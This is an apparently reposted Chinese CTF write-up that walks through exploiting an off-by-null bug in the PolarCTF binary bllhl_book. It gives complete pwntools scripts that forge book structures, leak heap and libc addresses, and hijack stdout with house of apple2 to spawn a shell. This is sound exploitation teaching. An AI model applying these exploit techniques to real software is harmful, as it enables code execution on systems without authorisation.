文章总结: 本文分析PolarCTF题目bllhlbook中的offbynull漏洞利用。程序在输入作者名时存在循环read导致的offbyone漏洞,通过change功能修改作者名可覆盖booklist指针。利用两次伪造book结构:首次泄露堆地址,第二次通过篡改stdout结构结合houseofapple2技术实现任意代码执行。关键步骤包括构造fake_book控制desc指针、泄露libc基址、最终劫持控制流获取shell。 综合评分: 85 文章分类: 二进制安全,漏洞分析,CTF,WEB安全,实战经验
web选手入门pwn(34)——bllhl_book
原创
珂字辈 珂字辈
珂技知识分享
2026年4月3日 09:33 湖北
题目来自
https://www.polarctf.com/#/page/challenges
没给libc,但libc和如下环境一致(2.35)
docker pull roderickchan/debug_pwn_env:22.04-2.35-0ubuntu3.8-20240601
看起来像是堆题,其实是个off by null的io题,从保护来看也不像堆题(堆题一般全绿)。
程序开头会让你输入作者名,这里封装的input_BUG其实就是漏洞所在。
循环read,碰到0xA(换行)停止,i = 32时也会停止,但此时已经第32次read了,也就是说一共可以写33(0-32)个字节,最后还能向末尾写个00。
这里可以看作一个有缺点的off by one(写完one之后还会写一个00),或者off by null。
来试一试,输入AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB。
看后续这个off by one是怎么利用的。来看菜单,1-4明显增删改查。
add分配两个堆,一个小于0x20作为book->name,一个固定0x100作为book->desc,它们虽然是用input_BUG写入的,但是都被限制了大小,不好利用。
delete清除了指针。
edit只能编辑book->desc,长度v1来自g_lib也就是bss上的book_list,后面动态调试更加清晰。
print一口气将全部book信息都打印出来。
change是漏洞核心,它可以修改作者名,而作者名和book_list都在g_lib上。程序开头输入作者名时off by one没有意义,此时不存在book,但创建book之后再修改就可以用off by one篡改book指针了。
最后剩一个submit_polar_review没什么用,可以拿来当断点。
gdb里试一试
from pwn import *from pwncli import *
context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h']
sh = process("./bllhl_book")gdb.attach(sh, "b *0x401962\n c")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(libc)
def add(name_size, name, desc_size, desc): sh.sendlineafter(">", "1") sh.sendlineafter("name size:", str(name_size)) sh.sendlineafter("chars):", name) sh.sendlineafter("description size:", str(desc_size)) sh.sendlineafter("description:", desc)
def free(id): sh.sendlineafter(">", "2") sh.sendlineafter("delete:", str(id))
def edit(id, desc): sh.sendlineafter(">", "3") sh.sendlineafter("edit:", str(id)) sh.sendlineafter("description:", desc)
def show(): sh.sendlineafter(">", "4")
def change(name): sh.sendlineafter(">", "5") sh.sendlineafter("author name:", name)
def info(): sh.sendlineafter(">", "6")
#glib_bss = 0x404060sh.sendlineafter("author name:", "AAAA")
add(0x20, "AAAA", 0x70, "BBBB") #0x404080: book1add(0x20, "AAAA", 0x70, "BBBB") #0x404088: book2add(0x20, "AAAA", 0x70, "BBBB") #0x404090: book3
info()change("A"*32 + "B")info()
sh.interactive()
可以看到,执行change之后,book1的指针成功被off by one篡改了。那么我们只需要将其篡改到一个fake_book上,再用edit修改fake_book->desc,不就是任意地址写了吗?同理show也变成了任意地址读。
fake_book伪造到哪里合适呢?先跟进book1来看看book结构体有多大。
id,name,desc,size只需要0x20即可。而且我们注意到0x405180(book1_addr)刚好可以可以靠off by null来改写成0x405100(book1->desc)。
这意味着什么呢?我们可以先创建book1,再利用off by null将book1改写到book1->desc上,而book1->desc在第一次创建时是可以控制的,将book1->desc = fake_book,fake_book->desc指向book_list,就等于控制了book_list,此时可以执行第一步,泄露堆地址。
add(0x20, "AAAA", 0x70, p64(0x1) + p64(0x404088) + p64(0x404088) + p64(0x70)) #0x404080: book1add(0x20, "AAAA", 0x70, "BBBB") #0x404088: book2add(0x20, "AAAA", 0x70, "BBBB") #0x404090: book3
change("A"*32) #0x404080: fake_book1 fake_book1->desc = 0x404088show()
sh.recvuntil(b"ID: 1\nName: ")leak = sh.recvuntil(b"\n", drop=True)heap_glib_2 = u64(leak.ljust(8, b"\x00"))print(hex(heap_glib_2))
泄露了堆地址,就可以如法炮制,通过修改book1->desc,等于修改book2_addr,将book2指向一个fake_book2,edit book2时,就等于edit fake_book2->desc,等于任意地址写。
为什么非得做两次呢?因为我们需要泄露libc,泄露libc就得泄露堆地址,也就是利用这个unsortedbin得到libc。
fake_book2放到book3->desc上。注意这里修改book2_addr需要用p32,避免off by null影响book3_addr。
#0x404088: fake_book2 fake_book2->desc = unsortedbinedit(1, p32(heap_glib_2+640))edit(3, p64(0x1) + p64(heap_glib_2-1248) + p64(heap_glib_2-1248) + p64(0x70))
show()libc_N = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")print(hex(libc_N))#libc 2.35libc_main_arena_N = 0x21ace0libc_base = libc_N - libc_main_arena_Nprint(hex(libc_base))
成功泄露libc,然后就是篡改stdout,用puts触发house of apple2那一套了,还不会的需要翻看这个系列之前的文章。
web选手入门pwn(28)
from pwn import *from pwncli import *
context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h']
sh = process("./bllhl_book")#gdb.attach(sh, "b *0x401962\n c")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(libc)
def add(name_size, name, desc_size, desc): sh.sendlineafter(">", "1") sh.sendlineafter("name size:", str(name_size)) sh.sendlineafter("chars):", name) sh.sendlineafter("description size:", str(desc_size)) sh.sendlineafter("description:", desc)
def free(id): sh.sendlineafter(">", "2") sh.sendlineafter("delete:", str(id))
def edit(id, desc): sh.sendlineafter(">", "3") sh.sendlineafter("edit:", str(id)) sh.sendlineafter("description:", desc)
def show(): sh.sendlineafter(">", "4")
def change(name): sh.sendlineafter(">", "5") sh.sendlineafter("author name:", name)
def info(): sh.sendlineafter(">", "6")
#glib_bss = 0x404060sh.sendlineafter("author name:", "AAAA")
add(0x20, "AAAA", 0x70, p64(0x1) + p64(0x404088) + p64(0x404088) + p64(0x70)) #0x404080: book1add(0x20, "AAAA", 0x70, "BBBB") #0x404088: book2add(0x20, "AAAA", 0x70, "BBBB") #0x404090: book3
change("A"*32) #0x404080: fake_book1 fake_book1->desc = 0x404088show()sh.recvuntil(b"ID: 1\nName: ")leak = sh.recvuntil(b"\n", drop=True)heap_glib_2 = u64(leak.ljust(8, b"\x00"))print(hex(heap_glib_2))
#0x404088: fake_book2 fake_book2->desc = unsortedbinedit(1, p32(heap_glib_2+640))edit(3, p64(0x1) + p64(heap_glib_2-1248) + p64(heap_glib_2-1248) + p64(0x70))show()libc_N = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")print(hex(libc_N))#libc 2.35libc_main_arena_N = 0x21ace0libc_base = libc_N - libc_main_arena_Nprint(hex(libc_base))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_baseprint(hex(stdout))tmp_addr = 0x404060 + 0x100leave_ret = 0x40134Aret = 0x40134Bsystem_addr = libc.sym['system'] + libc_baseall_addrs = list(libc.search(b"/bin/sh"))print(all_addrs)libc_binsh = all_addrs[0] + libc_basepop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_baseprint(hex(pop_rdi))
file1 = IO_FILE_plus_struct()file1.flags = 0 # stdout._flags = 0 file1._IO_read_ptr = ret file1._IO_read_end = pop_rdifile1._IO_read_base = libc_binshfile1._IO_write_base = system_addrfile1.chain = leave_ret # _wide_vtable.__doallocate = onefile1._lock = tmp_addr # stdout._lock can write and free addr file1._codecvt = stdout # _wide_data._wide_vtable = p *(struct _IO_jump_t *)file1._wide_data = stdout - 0x48 # stdout._wide_data = p *(struct _IO_wide_data *)file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20 # stdout.vtable.xsputn = _IO_wfile_overflow
#0x404088: fake_book2 fake_book2->desc = stdoutedit(3, p64(0x2) + p64(stdout) + p64(stdout) + p64(0x200))edit(2, bytes(file1))sh.interactive()
觉得比较绕的可以看下面这个步骤
#原始book_list: book1 book2 book3
===book1===book->id = 1book->name = chunkbook->desc = fake_book1book->size = 0x70===book1===
#第一次篡改book_list: fake_book1 book2 book3
===book1===book->id = 1book->name = chunkbook->desc = fake_book1book->size = 0x70===book1===
===fake_book1===book->id = 1book->name = book_list + 8 (book2)book->desc = book_list + 8 (book2)book->size = 0x70===fake_book1===
#第二次篡改book_list: fake_book1 fake_book2 book3
===book3===book->id = 1book->name = chunkbook->desc = fake_book2book->size = 0x70===book3===
===fake_book2===book->id = 1book->name = unsortedbinbook->desc = unsortedbinbook->size = 0x70===fake_book2===
#第三次篡改book_list: fake_book1 fake_book2 book3
===book3===book->id = 1book->name = chunkbook->desc = fake_book2book->size = 0x70===book3===
***fake_book2***book->id = 1book->name = stdoutbook->desc = stdoutbook->size = 0x200***fake_book2***
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《web选手入门pwn(34)——bllhl_book》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论